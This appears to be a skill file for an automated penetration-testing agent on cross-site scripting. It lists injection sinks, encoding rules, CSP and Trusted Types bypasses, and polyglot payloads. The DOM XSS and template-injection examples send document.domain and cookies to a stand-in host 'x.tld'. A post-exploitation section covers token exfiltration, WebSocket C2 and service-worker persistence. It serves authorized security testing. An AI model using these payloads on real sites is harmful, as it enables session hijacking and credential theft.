7.3 KiB
name, description
| name | description |
|---|---|
| xss | XSS testing covering reflected, stored, and DOM-based vectors with CSP bypass techniques |
XSS
Cross-site scripting persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).
Attack Surface
Types
- Reflected, stored, and DOM-based XSS across web/mobile/desktop shells
Contexts
- HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown, PDF
Frameworks
- React/Vue/Angular/Svelte sinks, template engines, SSR/ISR
Defenses to Bypass
- CSP/Trusted Types, DOMPurify, framework auto-escaping
Injection Points
Server Render
- Templates (Jinja/EJS/Handlebars), SSR frameworks, email/PDF renderers
Client Render
innerHTML/outerHTML/insertAdjacentHTML, template literalsdangerouslySetInnerHTML,v-html,$sce.trustAsHtml, Svelte{@html}
URL/DOM
location.hash/search,document.referrer, base href,data-*attributes
Events/Handlers
onerror/onload/onfocus/onclickandjavascript:URL handlers
Cross-Context
- postMessage payloads, WebSocket messages, local/sessionStorage, IndexedDB
File/Metadata
- Image/SVG/XML names and EXIF, office documents processed server/client
Context Encoding Rules
- HTML text: encode
< > & " ' - Attribute value: encode
" ' < > &and ensure attribute quoted; avoid unquoted attributes - URL/JS URL: encode and validate scheme (allowlist https/mailto/tel); disallow javascript/data
- JS string: escape quotes, backslashes, newlines; prefer
JSON.stringify - CSS: avoid injecting into style; sanitize property names/values; beware
url()andexpression() - SVG/MathML: treat as active content; many tags execute via onload or animation events
Key Vulnerabilities
DOM XSS
Sources
location.*(hash/search),document.referrer, postMessage, storage, service worker messages
Sinks
innerHTML/outerHTML/insertAdjacentHTML,document.writesetAttribute,setTimeout/setIntervalwith stringseval/Function,new Workerwith blob URLs
Vulnerable Pattern
const q = new URLSearchParams(location.search).get('q');
results.innerHTML = `<li>${q}</li>`;
Exploit: ?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>
Mutation XSS
Leverage parser repairs to morph safe-looking markup into executable code (e.g., noscript, malformed tags):
<noscript><p title="</noscript><img src=x onerror=alert(1)>
<form><button formaction=javascript:alert(1)>
Template Injection
Server or client templates evaluating expressions (AngularJS legacy, Handlebars helpers, lodash templates):
{{constructor.constructor('fetch(`//x.tld?c=`+document.cookie)')()}}
CSP Bypass
- Weak policies: missing nonces/hashes, wildcards,
data:blob:allowed, inline events allowed - Script gadgets: JSONP endpoints, libraries exposing function constructors
- Import maps or modulepreload lax policies
- Base tag injection to retarget relative script URLs
- Dynamic module import with allowed origins
Trusted Types Bypass
- Custom policies returning unsanitized strings; abuse policy whitelists
- Sinks not covered by Trusted Types (CSS, URL handlers) and pivot via gadgets
Polyglot Payloads
Keep a compact set tuned per context:
- HTML node:
<svg onload=alert(1)> - Attr quoted:
" autofocus onfocus=alert(1) x=" - Attr unquoted:
onmouseover=alert(1) - JS string:
"-alert(1)-" - URL:
javascript:alert(1)
Framework-Specific
React
- Primary sink:
dangerouslySetInnerHTML - Secondary: setting event handlers or URLs from untrusted input
- Bypass patterns: unsanitized HTML through libraries; custom renderers using innerHTML
Vue
- Sinks:
v-htmland dynamic attribute bindings - SSR hydration mismatches can re-interpret content
Angular
- Legacy expression injection (pre-1.6)
$scetrust APIs misused to whitelist attacker content
Svelte
- Sinks:
{@html}and dynamic attributes
Markdown/Richtext
- Renderers often allow HTML passthrough; plugins may re-enable raw HTML
- Sanitize post-render; forbid inline HTML or restrict to safe whitelist
Special Contexts
- Most clients strip scripts but allow CSS/remote content
- Use CSS/URL tricks only if relevant; avoid assuming JS execution
PDF and Docs
- PDF engines may execute JS in annotations or links
- Test
javascript:in links and submit actions
File Uploads
- SVG/HTML uploads served with
text/htmlorimage/svg+xmlcan execute inline - Verify content-type and
Content-Disposition: attachment - Mixed MIME and sniffing bypasses; ensure
X-Content-Type-Options: nosniff
Post-Exploitation
- Session/token exfiltration: prefer fetch/XHR over image beacons for reliability
- Real-time control: WebSocket C2 with strict command set
- Persistence: service worker registration; localStorage/script gadget re-injection
- Impact: role hijack, CSRF chaining, internal port scan via fetch, credential phishing overlays
Testing Methodology
- Identify sources - URL/query/hash/referrer, postMessage, storage, WebSocket, server JSON
- Trace to sinks - Map data flow from source to sink
- Classify context - HTML node, attribute, URL, script block, event handler, JS eval-like, CSS, SVG
- Assess defenses - Output encoding, sanitizer, CSP, Trusted Types, DOMPurify config
- Craft payloads - Minimal payloads per context with encoding/whitespace/casing variants
- Multi-channel - Test across REST, GraphQL, WebSocket, SSE, service workers
Validation
- Provide minimal payload and context (sink type) with before/after DOM or network evidence
- Demonstrate cross-browser execution where relevant or explain parser-specific behavior
- Show bypass of stated defenses (sanitizer settings, CSP/Trusted Types) with proof
- Quantify impact beyond alert: data accessed, action performed, persistence achieved
False Positives
- Reflected content safely encoded in the exact context
- CSP with nonces/hashes and no inline/event handlers
- Trusted Types enforced on sinks; DOMPurify in strict mode with URI allowlists
- Scriptable contexts disabled (no HTML pass-through, safe URL schemes enforced)
Impact
- Session hijacking and credential theft
- Account takeover via token exfiltration
- CSRF chaining for state-changing actions
- Malware distribution and phishing
- Persistent compromise via service workers
Pro Tips
- Start with context classification, not payload brute force
- Use DOM instrumentation to log sink usage; it reveals unexpected flows
- Keep a small, curated payload set per context and iterate with encodings
- Validate defenses by configuration inspection and negative tests
- Prefer impact-driven PoCs (exfiltration, CSRF chain) over alert boxes
- Treat SVG/MathML as first-class active content; test separately
- Re-run tests under different transports and render paths (SSR vs CSR vs hydration)
- Test CSP/Trusted Types as features: attempt to violate policy and record the violation reports
Summary
Context + sink decide execution. Encode for the exact context, verify at runtime with CSP/Trusted Types, and validate every alternative render path. Small payloads with strong evidence beat payload catalogs.